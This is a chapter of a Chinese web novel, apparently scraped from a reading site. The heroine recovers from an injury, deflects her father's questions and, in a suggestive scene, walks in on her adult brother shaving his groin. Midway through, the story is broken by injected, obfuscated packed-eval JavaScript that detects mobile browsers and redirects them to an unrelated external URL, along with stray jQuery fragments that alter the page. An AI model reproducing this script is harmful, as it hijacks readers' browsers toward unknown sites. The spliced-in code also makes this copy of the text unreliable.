默认冷灰
24号文字
方正启体

35. 我嘞个无毛擎天柱

作者:陈醋潭本书字数:K更新时间:
    金碎青:“我能下床了吗?”


    卉红摇头:“不能。”


    金碎青鼓了鼓腮帮,无语道:“我都在床上躺了七天,七天!再躺下去我就要长蘑菇了卉红,郎中都说我能下地了,究竟是谁不允许我下床!”


    卉红拿着跌打肿痛膏来到床前,示意金碎青伸脚,金碎青顺势扯过床边的凳子,等卉红坐下,听话地将脚搭在她膝盖上,卉红一边抹药,一边道:“是时玉少爷。”


    金碎青瞬间就蔫了。


    好久,她喃喃道:“哥不是前两天才醒吗?”


    卉红叹气:“头天郎中来处理伤口的时候,时玉少爷醒了一会儿,特地叮嘱看好小郡主,脚踝好彻底前不能出府,不能下床。”


    霎时间,金碎青一点火气也没有了。


    毕竟归根究底,金时玉受伤,失血过多昏迷数天这件事是因为救她而被她的陷阱所伤。


    至少在这件事上,是她亏欠金时玉。


    金碎青下意识地咬指甲,又想起从双稷山回来那天的情景。


    她从虎兽车上翻下来,连滚带爬到大门前拼命敲门,在凌晨十分大声哭叫着让人开门请郎中。


    不明所以的下人们吓坏了,顾不上许多,手忙脚乱地将金时玉抬下车送回房间。慌乱之中,寻回神智的金碎青扯住家丁:“去医馆路上一定要大喊大叫,就说金家的小郡主坠落山受伤奇迹生还,时玉少爷重金寻医为小郡主检查。”


    寻常傻兮兮双目无神的小郡主此时眼中精明流露,家丁从未见过这样的金碎青,愣了片刻,金碎青神色犀利,佯怒道:“消息传得越远越好,快去。”


    家丁被她镇住,猛地回神,忙不迭点头,撒腿窜了出去。


    再后来,迷迷糊糊的郎中被架进了金时玉的房间,再满手是血的出来,叮嘱几句后,指着金碎青道:“小郡主脚踝脱臼了,将她架回去,我要给她正骨。”


    守在金时玉门前的金碎青:?


    不等她问出“哥哥怎么样”“伤势严重吗”“大夫你是怎么知道我脚踝脱臼”,金碎青就被家丁卉红联手架回房间,关了七天,再没出来过。


    金碎青郁闷,金时玉流了那么多血,人都快休克了,居然还能分心指挥别人管她。


    果然天生老爸子,管七管八,什么都管。


    金碎青被卉红揉得呲牙咧嘴:“那今日我能去看看哥哥吗?”


    “小郡主,要知道,伤筋动骨一百天……”卉红要继续往下说,金贵忠进门打断了她,“能,当然可以!妹妹想见哥哥,何须束缚?”


    “爹爹。”金碎青假装惊喜叫道。


    卉红慌忙起身,向金老爷问好,金贵忠笑着摆了摆手,撩起衣摆,坐在了卉红的位置上,笑眯眯道:“要不,爹爹给碎青柔脚?”


    金碎青将脚藏进被子里,笑笑嘻嘻地摇头:“不要,不劳烦爹爹。”


    金碎青心里想的却是,一双儿女卧床这么长时间才想起回来看看,渣爹名副其实。


    金贵忠道:“说起来,太子这两日接连关切,询问你伤势如何,碎青要见见他吗?”


    金碎青恍然大悟,渣爹大概是得到消息,多半已经知晓二人受伤与皇甫黎有关,不看望兄妹二人,避了两日嫌。


    金碎青疑惑,这时他不去更明事理的金时玉那里问,反而跑她这儿来打探消息了。


    将怀疑藏得天衣无缝,金碎青天真地摇了摇头,答:“还是不要见了。”


    “碎青能告诉爹爹为什么不见吗?”


    金碎青不好意思道:“女儿不敢见。”


    金贵忠佯装不解:“何来的不敢见?”


    “这次游猎是圣上起头,全权交给太子哥哥负责,结果因为女儿不小心坠崖,将好事稿砸,估计太子哥哥被问询受罚,要来找女儿泄愤……”金碎青声音越来越小,凑到金贵忠耳畔道,“女儿对外宣称是我受伤不是哥哥受伤,是为了用这种蠢办法躲避太子哥哥呢。”


    金贵忠似乎是信了她的话,仰头大笑:“碎青和你爹我简直一模一样,小时候我就总用称病这一招躲你爷爷的鞭子。”


    金碎青羞涩地挠了挠脸。


    金贵忠笑够了,从怀中取出药瓶:“说起来,淮南侯家的殷小姐也关切你的伤势,托我将这个给你,说是江浙特产的药物,效果极好。”


    金碎青看着他手中的白瓷瓶,她这一周虽都在屋内,消息却不闭塞,有大狗小羊一直给她递双稷山坠崖案的风向。


    双稷山坠崖一事最终是以山匪寻仇结案,殷小姐与小郡主同时坠下山崖,又都奇迹生还。


    女帝说:“冥冥之中似乎是青阳公主托梦于朕,她会护佑小郡主和殷小姐周全,朕实在思念青阳,剿了山匪后,将修缮她寝陵计划尽快提上日程。”


    如此,女帝一句话,算得上大事化小,小事化了,不光将皇甫黎摘了出去,又给皇甫家挣了“姊妹情深”好名声。


    除了受伤的三人和莫名其妙背锅并被抄家的山匪,似乎是皆大欢喜的结局。


    金碎青因系统任务选择和殷如是一同落崖,虽算不上完全无辜,但得知因太过信任殷如是而被当了工具人后,还被一个人扔在山洞里,不免心中一阵膈应。


    她面上不显,接过瓷瓶。


    瓷瓶到手那一刻,系统提示:“搅乱相亲任务完成。”


    金碎青立刻眉开眼笑,这药怎么膈应了,这药可太好了,她道:“请爹爹替我谢谢殷姐姐!”


    金贵忠摸了摸她的头道:“等上学了,碎青亲自同殷小姐说吧。”


    金碎青郑重点头:“我能探望哥哥了吗?”


    金贵忠大手一挥:“爹爹准了,我看谁敢拦碎青。”


    金碎青腹诽,爹爹有所不知,拦的人就是哥哥。


    她提着裙子跃下床铺,金贵忠伸手接她,竟弯下腰为她穿鞋,低头时凑在她耳边小声道:“碎青大了,或许该和哥哥拉开些距离。”


    分明是说教意味很浓的话,金碎青却从中听出了几分提醒,叫她瞬间明了渣爹不去问金时玉,反到来问她的原因。


    渣爹是渣,人还窝囊,却不傻。


    金贵忠或许早对金时玉的立场有所了解,碍于金家特殊地位和对金时玉的亏欠,选择了装傻充楞。


    而方才金贵忠开口提醒令她感到意外,没想到渣爹最后的良知居然用在了她身上。


    金碎青细细思索,渣爹的建议值得采纳。


    双稷山金时玉涉险救她已能证明这十六年间的攻略计划有成效,金时玉将她看做妹妹,是将来她离开金家的情感保障。


    逃家剧情节点后,若金碎青想要安然自立门户,就要远离《风临天下》的风暴中心金家,那么她从现在开始,在维持兄妹感情的基础上,逐渐与危险的金时玉保持距离,的确是一个不错的选择。


    只要哥哥不提防她,和他打打感情牌,下药打晕调虎离山,有的是办法逃跑。


    跑出帝都,她就不信金时玉还能找到她?


    穿好鞋,金碎青笑着回金贵忠道:“爹爹说得对,碎青记住了。”


    *


    记住了,所以这是最后一次。


    站在金时玉门前,金碎青默念:“好歹是照顾了你十六年,而且救了你的人,送个药应该的。”


    如此,金碎青敲了敲门:“哥?”


    没人应,金碎青又敲:“哥,在吗?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053143|174509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    金碎青等了片刻,耐心耗尽,推了推门,发现门并没有锁,于是对着门缝隙小声道:“我进来了哦哥哥。”


    没人应,金碎青就当金时玉默认了。


    明明是她曾住过很长一段时间的房间,金碎青却怀着做贼的心,熟门熟路地从门缝钻入屋内。


    金碎青抽了抽鼻子,空气中充斥着一股奇怪的味道。


    有金时玉最常用的乳香苦气,还有一种无法形容的奇怪气味,说不上好闻还是难闻。屋内窗户关得严实,这种奇怪的气息和汗湿一般的热气被囚在室内,一团一团的往她鼻子里钻,没一会,金碎青就感觉有些晕乎乎。


    金碎青皱了皱眉:“哥?”


    她看到床的那一侧拉上了屏风,金碎青往那里靠了靠,听到了“嗡嗡翁”的奇怪声响,这种声音很耳熟,像电动剃须刀剃胡子的声音。


    原来在刮胡子啊,怪不得听不到敲门。


    关于电动剃须刀,金碎青倒不觉得奇怪,九州有很多稀奇古怪的电动小玩意儿,因为零件过于精细,工厂无法生产,只能工匠手搓,手搓会产生误差,导致产量低价格高,通常有钱人才能用得起。


    当然,金家不缺这种小玩意儿,且金时玉二十啷当岁,正是荷尔蒙分泌最旺盛的时候,睡一觉就会冒胡茬,剃胡子也不奇怪。


    金时玉平时收拾得又很干净,从来没见过他有胡茬,她听说男人剃胡子时性|感又脆弱,最不禁吓,这时候吓金时玉一跳,会发生什么?


    如此想,金碎青坏心大起,心中计划着先藏在屏风后观察片刻,等金时玉收尾时,蹦出去吓他一跳。


    她屏住呼吸,放轻脚步靠近屏风,透过由层层暗红色轻纱交叠的屏风向内窥。


    轻纱虽薄,可层叠数量一多,视物就有些困难了。红纱经纬线宛如迷蒙水雾挡在眼前,金碎青尽力眯起眼睛向里探,好久,才勉强看清。


    不看清还好。


    一看清,金碎青险些叫出了声。


    金时玉哪里是在刮胡子,他分明是在剃毛!


    剃某些不可言说之处的毛!


    红纱后,金时玉坐在床边,上半身除过被白纱布包扎的肩膀,别处都衤果着。精瘦薄肌块垒分明,线条流畅,隐入中裤边缘。他双腿分开,一只踏在床上,一只踩在地上,青筋凸起,骨节分明的手握着暗金色的圆柱状剃须刀,贴在皮肤上来回滑动。


    金时玉剃得认真,小腹上和腹股沟处都没有放过。每几下,他就会拿起搭在旁边的湿帕子拭掉碎毛,如此往复,直到露出洁净的皮肤。


    这件事似乎已经到了结尾,原本覆满毛发的位置露出大片白皙细嫩的皮肤,光滑细嫩,久不见光,如豆腐一般。加之金时玉足够白,有些剃不干净的,扎在皮肤里的毛点都能看得清清楚楚。


    为了检查,他漂亮的手时不时来回拨弄,那东西以一个不可言说的角度半卧在他小腹。


    不众所周知,有些东西,没了毛,往往会显得更大。


    若它原本就很大呢。


    又白又粉又大……


    金碎青惊的张了张嘴。


    我嘞个无毛擎天柱。


    欢喜菩萨剃毛,场景过于香艳,视觉冲击太强,金碎青差点叫出声。


    她赶忙捂住嘴,却忘了手中装药的瓷瓶,一下没握住,甩了出去。


    “叮——”


    瓷瓶落地,清脆声盖过了剃须刀嗡嗡,在室内回荡。好死不死的瓷瓶质量极好,居然没碎,咕噜噜地滚出了屏风,朝着金时玉滚去。


    金碎青“嘤”一声捂住脸颊转身要跑,没成想跑得太急,脚踝一阵刺痛,失去平衡,左脚拌右脚趴在了地上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)